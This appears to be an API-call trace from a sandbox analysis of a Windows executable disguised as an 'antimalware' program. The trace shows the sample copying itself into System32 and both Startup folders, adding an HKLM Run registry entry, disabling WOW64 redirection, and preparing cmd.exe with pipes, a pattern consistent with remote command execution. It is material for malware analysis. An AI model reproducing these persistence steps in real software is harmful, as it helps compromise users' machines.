	[0036.107] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6a6eb0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x6a
	[0036.107] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6b6eb8
	[0036.107] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6c6ec0
	[0036.107] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.107] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f6e8
	[0036.107] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f6e8, Size=0x40) returned 0x66b2f0
	[0036.107] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b2f0, Size=0x80) returned 0x6d75d8
	[0036.107] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d75d8, Size=0x100) returned 0x6956e8
	[0036.107] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.107] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6956e8 | out: hHeap=0x650000) returned 1
	[0036.107] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x6b6eb8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x67
	[0036.107] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6c6ec0 | out: hHeap=0x650000) returned 1
	[0036.108] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6eb8 | out: hHeap=0x650000) returned 1
	[0036.108] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x243d020
	[0036.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.111] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f850
	[0036.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.111] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f710
	[0036.111] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.111] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.111] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0036.111] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.111] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f850 | out: hHeap=0x650000) returned 1
	[0036.111] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.111] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f710 | out: hHeap=0x650000) returned 1
	[0036.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0036.111] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\windows\\system32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0036.117] ReadFile (in: hFile=0x240, lpBuffer=0x243d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.126] WriteFile (in: hFile=0x244, lpBuffer=0x243d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.128] ReadFile (in: hFile=0x240, lpBuffer=0x243d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0036.128] CloseHandle (hObject=0x244) returned 1
	[0036.131] CloseHandle (hObject=0x240) returned 1
	[0036.131] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.132] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f788
	[0036.132] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.132] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f850
	[0036.132] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.132] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.132] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0036.132] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.132] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f850 | out: hHeap=0x650000) returned 1
	[0036.132] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.132] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f788 | out: hHeap=0x650000) returned 1
	[0036.132] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x243d020 | out: hHeap=0x650000) returned 1
	[0036.136] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.136] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f828
	[0036.136] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f828, Size=0x40) returned 0x66b800
	[0036.136] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b800, Size=0x80) returned 0x6d7770
	[0036.136] lstrlenW (lpString="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 102
	[0036.136] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0036.136] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x5c) returned 0x668648
	[0036.136] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0036.136] RegSetValueExW (in: hKey=0x240, lpValueName="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", cbData=0xcc | out: lpData="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x0
	[0036.137] RegCloseKey (hKey=0x240) returned 0x0
	[0036.137] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x668648 | out: hHeap=0x650000) returned 1
	[0036.137] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0036.137] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7770 | out: hHeap=0x650000) returned 1
	[0036.137] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6b6eb8
	[0036.137] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6c6ec0
	[0036.137] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.137] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f878
	[0036.137] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f878, Size=0x40) returned 0x66b458
	[0036.137] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b458, Size=0x80) returned 0x6d6ef0
	[0036.137] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d6ef0, Size=0x100) returned 0x6956e8
	[0036.137] lstrlenW (lpString="") returned 0
	[0036.137] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.137] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8c) returned 0x6957f0
	[0036.137] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0036.137] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6c6ec0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6c6ec0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0036.137] RegCloseKey (hKey=0x240) returned 0x0
	[0036.137] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6957f0 | out: hHeap=0x650000) returned 1
	[0036.137] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.138] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8c) returned 0x6957f0
	[0036.138] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0036.139] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6c6ec0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0036.139] RegCloseKey (hKey=0x244) returned 0x0
	[0036.139] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6957f0 | out: hHeap=0x650000) returned 1
	[0036.139] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0036.139] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.139] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6956e8 | out: hHeap=0x650000) returned 1
	[0036.139] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x6b6eb8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0xa1
	[0036.139] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6c6ec0 | out: hHeap=0x650000) returned 1
	[0036.139] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6eb8 | out: hHeap=0x650000) returned 1
	[0036.140] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x2437020
	[0036.142] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.142] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fb48
	[0036.142] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.142] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fad0
	[0036.142] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.142] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.142] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0036.142] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.142] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fb48 | out: hHeap=0x650000) returned 1
	[0036.142] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.142] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fad0 | out: hHeap=0x650000) returned 1
	[0036.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0036.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0036.147] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.156] WriteFile (in: hFile=0x248, lpBuffer=0x2437020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.158] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0036.159] CloseHandle (hObject=0x248) returned 1
	[0036.167] CloseHandle (hObject=0x244) returned 1
	[0036.167] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.167] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68f800
	[0036.167] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.167] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68f710
	[0036.167] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.167] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.167] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0036.168] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.168] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f710 | out: hHeap=0x650000) returned 1
	[0036.168] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.168] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f800 | out: hHeap=0x650000) returned 1
	[0036.168] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x2437020 | out: hHeap=0x650000) returned 1
	[0036.172] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6b6eb8
	[0036.172] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6c6ec0
	[0036.172] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.172] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68f878
	[0036.172] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f878, Size=0x40) returned 0x66b4e8
	[0036.172] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b4e8, Size=0x80) returned 0x6d7000
	[0036.172] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7000, Size=0x100) returned 0x6956e8
	[0036.172] lstrlenW (lpString="") returned 0
	[0036.173] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.173] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8c) returned 0x6957f0
	[0036.173] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0036.173] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6c6ec0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0036.173] RegCloseKey (hKey=0x244) returned 0x0
	[0036.173] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6957f0 | out: hHeap=0x650000) returned 1
	[0036.173] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0036.173] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.173] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6956e8 | out: hHeap=0x650000) returned 1
	[0036.173] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x6b6eb8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x90
	[0036.173] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6c6ec0 | out: hHeap=0x650000) returned 1
	[0036.173] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6eb8 | out: hHeap=0x650000) returned 1
	[0036.174] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x2437020
	[0036.177] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.177] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f940
	[0036.177] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.177] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fb48
	[0036.178] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.178] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.178] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0036.178] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.178] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f940 | out: hHeap=0x650000) returned 1
	[0036.178] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.178] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fb48 | out: hHeap=0x650000) returned 1
	[0036.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0036.178] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0036.199] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.208] WriteFile (in: hFile=0x248, lpBuffer=0x2437020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0036.211] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0036.211] CloseHandle (hObject=0x248) returned 1
	[0036.212] CloseHandle (hObject=0x244) returned 1
	[0036.212] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.212] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68f940
	[0036.212] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.212] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fa58
	[0036.213] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.213] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.213] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0036.213] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa58 | out: hHeap=0x650000) returned 1
	[0036.213] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f940 | out: hHeap=0x650000) returned 1
	[0036.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x2437020 | out: hHeap=0x650000) returned 1
	[0036.217] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x696ea8 | out: hHeap=0x650000) returned 1
	[0036.217] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6a6eb0 | out: hHeap=0x650000) returned 1
	[0036.218] lstrlenW (lpString="%windir%\\System32") returned 17
	[0036.218] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b260 | out: hHeap=0x650000) returned 1
	[0036.218] lstrlenW (lpString="%appdata%") returned 9
	[0036.218] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f9b8 | out: hHeap=0x650000) returned 1
	[0036.218] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0036.218] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f918 | out: hHeap=0x650000) returned 1
	[0036.218] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0036.218] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b380 | out: hHeap=0x650000) returned 1
	[0036.218] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.218] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f850
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f850, Size=0x40) returned 0x66b578
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b578, Size=0x80) returned 0x6d75d8
	[0036.219] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fb48
	[0036.219] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1fffc) returned 0x696ea8
	[0036.219] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6b6eb0
	[0036.219] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6c6eb8
	[0036.219] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694ca0
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694ca0, Size=0x20) returned 0x68fad0
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fad0, Size=0x40) returned 0x66b260
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b260, Size=0x80) returned 0x6d7660
	[0036.219] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7660, Size=0x100) returned 0x6956e8
	[0036.219] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.219] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6956e8 | out: hHeap=0x650000) returned 1
	[0036.219] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6b6eb0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0036.219] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6c6eb8 | out: hHeap=0x650000) returned 1
	[0036.220] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6eb0 | out: hHeap=0x650000) returned 1
	[0036.220] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0036.221] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0036.221] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0036.270] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
